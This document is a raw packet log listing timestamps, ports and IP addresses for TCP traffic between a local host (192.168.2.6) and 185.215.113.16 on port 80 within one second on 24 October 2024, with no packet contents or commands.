Oct 24, 2024 11:02:47.809693098 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809703112 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809729099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809741974 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809763908 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809775114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809798002 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809817076 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809833050 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809842110 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809873104 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809883118 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809909105 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809930086 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809942007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809951067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.809978008 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.809988022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810012102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810024023 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810046911 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810055971 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810080051 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810092926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810113907 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810123920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810148954 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810158014 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810184956 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810199022 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810219049 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810230017 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810254097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810259104 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810285091 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810302973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810318947 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810332060 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810353994 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810364008 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810384035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810396910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810417891 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810430050 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810451984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810462952 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810487986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810496092 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810523033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810532093 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810556889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810564041 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810590982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810599089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810621023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810632944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810656071 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810666084 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810691118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810699940 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810728073 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810734034 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810762882 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810769081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810798883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810807943 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810832977 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810837984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810868979 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810880899 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810906887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810914993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810936928 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810952902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.810971022 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.810977936 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.811006069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.811013937 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.811041117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.811053991 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.811078072 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.811088085 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.811120033 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845418930 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845561981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845618010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845652103 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845674038 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845690012 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845721006 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845726967 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845740080 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845763922 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845773935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845798969 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845840931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845851898 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845882893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845896959 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845930099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845936060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.845977068 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.845993996 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846036911 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846045017 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846084118 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846091986 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846113920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846152067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846152067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846170902 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846224070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846225023 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846256018 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846272945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846288919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846292973 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846329927 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846364975 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846399069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846414089 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846435070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846441984 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846473932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846508980 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846513987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846513987 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846553087 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846568108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846611023 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846622944 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846657991 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846685886 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846692085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846697092 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846729040 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846731901 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846762896 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.846770048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.846808910 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.872869015 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.872926950 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.872940063 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.872965097 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.872973919 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873001099 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873009920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873038054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873049021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873073101 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873083115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873120070 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873126984 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873162985 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873181105 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873195887 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873230934 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873258114 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873265028 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873276949 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873300076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873323917 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873343945 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873388052 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873441935 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873445988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873480082 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873491049 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873513937 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873522997 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873550892 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873562098 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873584986 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873596907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873620033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.873631001 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.873665094 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916039944 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916093111 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916155100 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916203976 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916208982 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916250944 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916264057 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916266918 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916318893 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916352987 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916372061 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916397095 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916405916 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916450977 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916459084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916495085 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916506052 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916539907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916546106 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916594028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916599989 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916630983 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916650057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916676044 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916682959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916718006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916732073 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916764021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916775942 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916810036 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916826010 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916840076 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916852951 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916872978 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916886091 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916918039 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.916929007 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916958094 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.916980982 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917000055 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917010069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917046070 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917053938 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917078972 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917089939 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917115927 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917123079 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917150974 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917167902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917185068 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917190075 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917221069 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917227030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917252064 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917264938 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917285919 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917290926 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917321920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917325020 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917381048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917388916 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917438030 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917442083 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917471886 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917479992 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917520046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917526960 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917571068 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917579889 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917608976 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917625904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917642117 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917648077 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917676926 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917695045 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917706013 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917717934 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917746067 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917757988 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917807102 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917813063 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917856932 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917864084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917910099 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917916059 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917948961 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917963028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.917984962 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.917992115 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918020010 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918051004 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918056011 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918059111 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918092012 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918108940 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918144941 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918153048 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918179035 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918195009 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918221951 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918222904 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918252945 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918292046 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918304920 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918311119 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918374062 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918404102 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918422937 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918443918 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918453932 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918489933 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918498993 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918524981 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918534040 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918564081 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918584108 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918628931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918636084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918669939 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918680906 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918704033 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918730021 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918747902 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918757915 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918792963 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918839931 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918844938 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918886900 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918895006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918930054 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918946981 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918963909 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.918982983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918982983 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.918999910 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919049025 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919053078 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919102907 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919110060 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919157028 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919161081 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919203997 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919213057 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919233084 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919271946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919271946 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919281006 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919331074 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919365883 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919414997 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919416904 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919456959 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919460058 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919487000 CEST	80	49854	185.215.113.16	192.168.2.6
Oct 24, 2024 11:02:47.919498920 CEST	49854	80	192.168.2.6	185.215.113.16
Oct 24, 2024 11:02:47.919524908 CEST	49854	80	192.168.2.6	185.215.113.16
